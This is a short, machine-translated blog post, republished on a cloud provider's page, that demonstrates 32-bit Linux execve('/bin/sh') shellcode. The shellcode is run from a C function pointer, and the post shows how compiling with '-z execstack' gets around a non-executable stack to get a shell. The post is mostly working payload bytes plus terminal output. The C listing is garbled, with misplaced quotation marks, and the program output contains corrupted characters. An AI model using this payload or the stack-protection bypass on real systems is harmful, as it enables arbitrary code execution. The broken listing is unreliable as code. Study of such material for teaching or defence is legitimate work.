Linux execution Shellcode__linux

Source: Internet
Author: User

Other articles are referenced.

The C language code is as follows:

#include <stdio.h>
#include <string.h>
char sc[] =
  "\x31\xc0"
  "\x50"
  \x68\x6e\x2f \x73\x68 "
  \x68\x2f\x2f\x62\x69" "
  \x89\xe3" "
  \x50" "
  \x53"
  "\x89\xe1" "
  \xb0\x0b"
  "\xcd\x80";
int main ()
{
  void (*FP) (void) = (void (*) (void)) SC;

  printf ("Length:%d\n", strlen (SC));
  FP ();
}


The SC above is shellcode. The source code is saved as EXECVE.C, and then compiled, connected.

[Yang@localhost ~]$ gcc-o execve execve.c 
[yang@localhost ~]$./execve length:23 paragraph
Meadow 敊


As a result, no execution shellcode, what's going on. My version of GCC is 4.3.0. This version of GCC, the stack segment of the compiled executable file, is not enforceable.

Plus the parameter-Z Execstack can become executable.

[Yang@localhost ~]$ gcc-z execstack-o execve execve.c 
[yang@localhost ~]$./execve length:23 sh-3.2$


Got a shell

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.